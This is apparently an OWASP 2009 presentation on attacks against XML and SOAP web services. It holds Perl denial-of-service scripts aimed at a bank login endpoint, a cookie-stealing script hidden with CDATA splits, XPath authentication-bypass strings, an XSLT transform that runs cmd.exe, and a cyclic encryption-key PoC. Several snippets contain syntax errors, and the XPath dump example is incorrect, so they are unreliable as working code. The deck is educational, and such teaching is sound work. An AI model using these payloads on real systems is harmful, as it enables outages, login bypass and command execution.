Attacks on Web Services

Renaud Bidou
CTO - R&D Manager
DenyAll
rbidou@denyall.com

OWASP
May, 6th 2009

Copyright © The OWASP Foundation
Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License.

The OWASP Foundation
http://www.owasp.org
What are Web Services?

**Goal**
- provide automated interactions between data and processes
- speed up business collaboration
- ease the interconnection of heterogeneous applications

**Technologies**

**Languages**
- XML: The basement
- xPath, xQuery: SQL equivalents
- WSDL: Describes Web Services functions
- SAML, XACML: other stuff you don’t need to know for now

**Protocols**
- Transport: HTTP
- Messaging: SOAP (SOAP = HTTP + XML)
**Web Services components**

1. **Actors**
   - Users: individuals using an abstraction interface
   - Requesters: “Clients” of Web Services
   - Intermediary: may process part of the request
   - Providers: serve the request

2. **Resources**
   - Registries: provides service description and access point
   - Portal: Requester front-end for Users
   - Communication: 100% SOAP based

3. **Coordination**
   - Organizes process between multiple providers
   - Orchestration: 1 service requests all others
   - Choreography: multiple services request each other
Security Standards Overview

Two Main actors: W3C and OASIS consortium

Dozens of documents, standards and recommendations
Hundreds of “MAY”, “SHOULD”, “IS (STRONGLY) RECOMMENDED” ...

XML & HTTP: Two standards, thousands of possibilities
WS-Security highlights

1. XML Signature
   - Signs all or part of an XML document
   - Signed parts can be internal or external
   - Data can be transformed prior to signing / validation

2. XML Encryption
   - Encrypts all or part of an XML document
   - Encryption key may be embedded in the document
     - Encrypted with a key
     - Which can be encrypted

3. WS-Security
   - Additional Header +
   - XML Signature (with constraints) +
   - XML Encryption (with additional extensions) +
   - Security Tokens to transport « claims »
XML Parsers

1. **Basics**
   - XML core component
   - Interface to XML document
   - Exposes the content of the document to a well specified API
   - Two major specifications: SAX & DOM

2. **SAX Parsers**
   - Lightweight
   - Event-based document analysis
   - Call handler functions when text nodes or PI are found

3. **DOM Parsers**
   - More powerful
   - Tree-based document analysis
   - Creates a hierarchical representation of the document
   - XPath friendly
XML Injection

- Used to manipulate private XML content
- Usually performed via portals through the Web interface

<UserRecord>
  <ID>100374</ID>
  <Role>User</Role>
  <Name>John Doe</Name>
  <Email>john@doe.com</Email>
  <Address>1024 Mountain Street</Address>
  <Zip>17000</Zip>
</UserRecord>

User editable fields can be accessed via the Web interface through forms

Injection overwrites the “private” <Role> element
Denial of Services

- Based on document complexity
- Or oversized documents
- Particularly efficient against DOM parsers

1. Create a document
   - 1000 node depth...

   ```perl
  #!/usr/bin/perl
   open(DOS,">dos1.xml";
   for(my $i=0;$i<=1000;$i++) {
       print DOS " "x$i."<a$i>
   }
   for(my $i=1000;$i>=0;$i--) {
       print DOS "</a$i>\n"
   }
   close(DOS);
   ```

2. Let the parser do the job
   - Requesting the element containing our “load”

   ```
   C:\Temp>perl xpath.pl dos1.xml //a1
   Searching //a1 in dos1.xml...
   1 found
   Out of memory!
   ```

3. Upload it
   - Nest it into a process element
   - In a HTML form field (login...)
   - In direct SOAP request
DoS Injection via SOAP

Example description

- Direct SOAP request with 1000 deep element
- Targeted to the Login service

Code

```perl
#!/usr/bin/perl
use LWP::UserAgent;
my $ua = LWP::UserAgent->new;
$ua->agent("SOAPDoS/1.0");
my $SOAPmsgStart='<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/
xmlns:tem="http://tempuri.org/"
<soapenv:Header/>
<soapenv:Body>
	<tem:Login>
		<tem:loginID>';
my $SOAPmsgEnd='</tem:loginID>
		<tem:password>muahahah</tem:password>
	</tem:Login>
</soapenv:Body>
</soapenv:Envelope>'';

my $SOAPmsgLoad;
for(my $i=0;$i<=1000;$i++) { $SOAPmsgLoad .= "<a$i>
";}
for(my $i=1000;$i>=0;$i--) { $SOAPmsgLoad .= "</a$i>
";}

my $SOAPmsg=$SOAPmsgStart.$SOAPmsgLoad.$SOAPmsgEnd;
my $SOAPreq = HTTP::Request->new(POST => 'http://bank.com/WS/UserManagement.asmx');
$SOAPreq->content_type('text/xml;charset=UTF8');
$SOAPreq->content($SOAPmsg);
$ua->request($SOAPreq);```
**<![CDATA[]]> Injections**

1. **<![CDATA[]]> Fields**
   - Used to allow any kind of data to be contained into an XML document
   - Data contained in <! [CDATA[]] > field should not be analyzed or processed
   - They are to be handled as-is by the parser

2. **Detection evasion**
   - Can be used to evade intrusion detection engines
   - A simple variant of old insertion techniques

```html
<BLOG_ENTRY>
  <EMAIL>john@due.com</EMAIL>
  <TEXT>
    <! [CDATA[<S>]]>CRIP<! [CDATA[<T>]]>
    alert(document.cookie);
    <! [CDATA[</S>]]>CRIP<! [CDATA[<T>]]>
  </TEXT>
</BLOG_ENTRY>
```

```javascript
<script>
  alert(document.cookie);
</script>
```
Basic XPath Injection

1. The SQL equivalent
   - Inject data to corrupt XPath expression
   - Difficulty brought by the lack of support for inline comments

2. Authentication bypass example
   - Authentication based on the expression:
     ```xml
     //user[name='$login' and pass='$pass']/account/text()
     ```
   - Inject
     ```
     $login = whatever' or '1'='1' or 'a'='b
     $pass = whatever
     ```
   - Exploit AND precedence between predicates
   - Expression becomes
     ```xml
     //user[name='whatever' or '1'='1' or 'a'='b' and pass='whatever']/account/text()
     ```
     TRUE OR FALSE = TRUE
XML Document Dump

1. The | operator in xPath
   - UNION like operator, but more flexible
   - Performs sequential operations
   - Takes advantage of the lack of access restriction within an XML document

2. Use in xPath injections
   - Item description query via xPath:
     ```xml
     //item[itemID='$id']/description/text()
     ```
   - Inject
     ```xml
     $itemID = whatever'
     ```
   - Expression becomes
     ```xml
     //item[itemID='whatever']/description/text()
     ```
   - Matches all nodes
   - Require prior knowledge of expression
Blind XPath Injection

1 Basics
- Published* by Amit Klein
- Makes it possible to retrieve a full XML document
- With no knowledge of the structure or XPath queries performed

2 Operating mode
1. Find a “standard” XPath injection
2. Replace the ‘1=1’ predicate by an expression \( E \) which provides binary result
3. \( E \) is used to evaluate each bit:
   - Of the name or value of an element
   - The number of element of each type (element, text, PI etc.)

3 Constraints
- Slow (Brute Force like attack)
- No PoC publicly available

DoS on SOAP

1. Common techniques
   - SOAP is commonly described as HTTP + XML
     - Vulnerable to IP/TCP/HTTP DoS
       - Very vulnerable to application floods
       - Rarely designed to handle thousands of requests per second
     - Vulnerable to XML DoS

2. Anomalies
   - Playing with headers is a good bet
   - Depends on supported SOAP versions and their implementation

3. SOAP attachments
   - SOAP can transport data external to its XML structure
   - Becomes a MIME multipart message with first part of text/xml type
   - Large attachments will cause CPU and/or memory exhaustion
SOAP Message Replay

1. SOAP is stateless
   - SOAP is a message exchange protocol
   - It does not implement session follow-up and control mechanism
     - There is no relationship between messages
     - Messages can be replayed at will

2. Message replay scenarios
   - Replay of captured authentication messages
   - Replay of actions (money transfer, poker winning hand etc.)
   - DoS...
XSLT Transform Exploitation

1. The XSLT Transform
   - Explicitly identified by XML Signature recommendation, but optional
   - Provides powerful formatting capabilities of external documents before signature

2. Issue
   - Most XSLT implementations enable system function calls
   - Server to run executable code before during the signature validation
   - Published* and demonstrated by Bradley W. Hill

3. Use with XML encryption
   - XML Encryption uses transforms in <KeyInfo> and <RetrievalMethod>
   - Same impact

XSLT Transform PoC

**Malicious transform code**

```xml
<Transforms>
  <Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/>
  <Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
    <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
                  exclude-result-prefixes="rt,ob">
      <xsl:template match="/">
        <xsl:variable name="runtimeObject" select="rt:getRuntime()"/>
        <xsl:variable name="command" select="rt:exec($runtimeObject, &apos;c:\Windows\system32\cmd.exe&apos;)"/>
        <xsl:variable name="commandAsString" select="ob:toString($command)"/>
        <xsl:value-of select="$commandAsString"/>
      </xsl:template>
    </xsl:stylesheet>
  </Transform>
</Transforms>
```
Encryption Key Loop

1. **<EncryptedKey> Block**
   - Extension of the `<EncryptedDataType>` type
   - Contains a `<KeyInfo>` block
   - Makes it possible to reference external key via `<RetrievalMethod>`

2. **The Attack**
   - Key A is encrypted with Key B
   - Key B is referenced as external to the element
   - Key B is encrypted with Key A
   - Key A is referenced as external to the element

3. **Identified in the OASIS standard !!!**
   - Does not provide solution or workaround
   - Only recommends to monitor resource usage...
Encryption Key Loop PoC

<EncryptedKey Id='Key1' xmlns='http://www.w3.org/2001/04/xmlenc#'>
  <EncryptionMethod Algorithm='http://www.w3.org/2001/04/xmlenc#aes128-cbc'/>
  <ds:KeyInfo xmlns:ds='http://www.w3.org/2000/09/xmldsig#'>
    <ds:RetrievalMethod URI='#Key2' Type="http://www.w3.org/2001/04/xmlenc#EncryptedKey"/>
    <ds:KeyName>No Way Out</ds:KeyName>
  </ds:KeyInfo>
  <CipherData><CipherValue>DEADBEEF</CipherValue></CipherData>
  <ReferenceList>
    <DataReference URI='#Key2'/>
  </ReferenceList>
  <CarriedKeyName>I Said No Way</CarriedKeyName>
</EncryptedKey>

<EncryptedKey Id='Key2' xmlns='http://www.w3.org/2001/04/xmlenc#'>
  <EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#aes128-cbc"/>
  <ds:KeyInfo xmlns:ds='http://www.w3.org/2000/09/xmldsig#'>
    <ds:RetrievalMethod URI='#Key1' Type="http://www.w3.org/2001/04/xmlenc#EncryptedKey"/>
    <ds:KeyName>I Said No Way</ds:KeyName>
  </ds:KeyInfo>
  <CipherData><CipherValue>xyzabc</CipherValue></CipherData>
  <ReferenceList>
    <DataReference URI='#Key1'/>
  </ReferenceList>
  <CarriedKeyName>No Way Out</CarriedKeyName>
</EncryptedKey>
Encryption Key Loop PoC

```xml
<EncryptedKey Id='Key1' xmlns='http://www.w3.org/2001/04/xmlenc#'>
  <EncryptionMethod Algorithm='http://www.w3.org/2001/04/xmlenc#aes128-cbc'/>
  <ds:KeyInfo xmlns:ds='http://www.w3.org/2000/09/xmldsig#'>
    <ds:RetrievalMethod URI='#Key2' Type='http://www.w3.org/2001/04/xmlenc#EncryptedKey'/>
    <ds:KeyName>No Way Out</ds:KeyName>
  </ds:KeyInfo>
  <CipherData><CipherValue>DEADBEEF</CipherValue></CipherData>
  <ReferenceList>
    <DataReference URI='#Key2'/>
  </ReferenceList>
  <CarriedKeyName>I Said No Way</CarriedKeyName>
</EncryptedKey>

<EncryptedKey Id='Key2' xmlns='http://www.w3.org/2001/04/xmlenc#'>
  <EncryptionMethod Algorithm='http://www.w3.org/2001/04/xmlenc#aes128-cbc'/>
  <ds:KeyInfo xmlns:ds='http://www.w3.org/2000/09/xmldsig#'>
    <ds:RetrievalMethod URI='#Key1' Type='http://www.w3.org/2001/04/xmlenc#EncryptedKey'/>
    <ds:KeyName>I Said No Way</ds:KeyName>
  </ds:KeyInfo>
  <CipherData><CipherValue>xyzabc</CipherValue></CipherData>
  <ReferenceList>
    <DataReference URI='#Key1'/>
  </ReferenceList>
  <CarriedKeyName>No Way Out</CarriedKeyName>
</EncryptedKey>
```
+ The OWASP Top 10

1. **XSS**: Persistent XSS through data submitted
2. **Injection flaws**: XML/xPath Injections, SQL can also be injected if an element is used in an SQL query
3. **File execution**: RFI possible through references and `&lt;!ENTITY>` tags point on server local files
4. **Insecure direct object reference**: same as above for external files
5. **CSRF**: same as XSS
6. **Information leakage and error handling**: server footprinting and the `<soapfault>` case
7. **Broken authentication and session management**: No authentication standard, no session management
8. **Insecure cryptographic storage**: nothing different from Web Apps
9. **Insecure communications**: SOAP is insecure by design
10. **Failure to restrict URL access**: same problem as for Web Apps
QUESTIONS?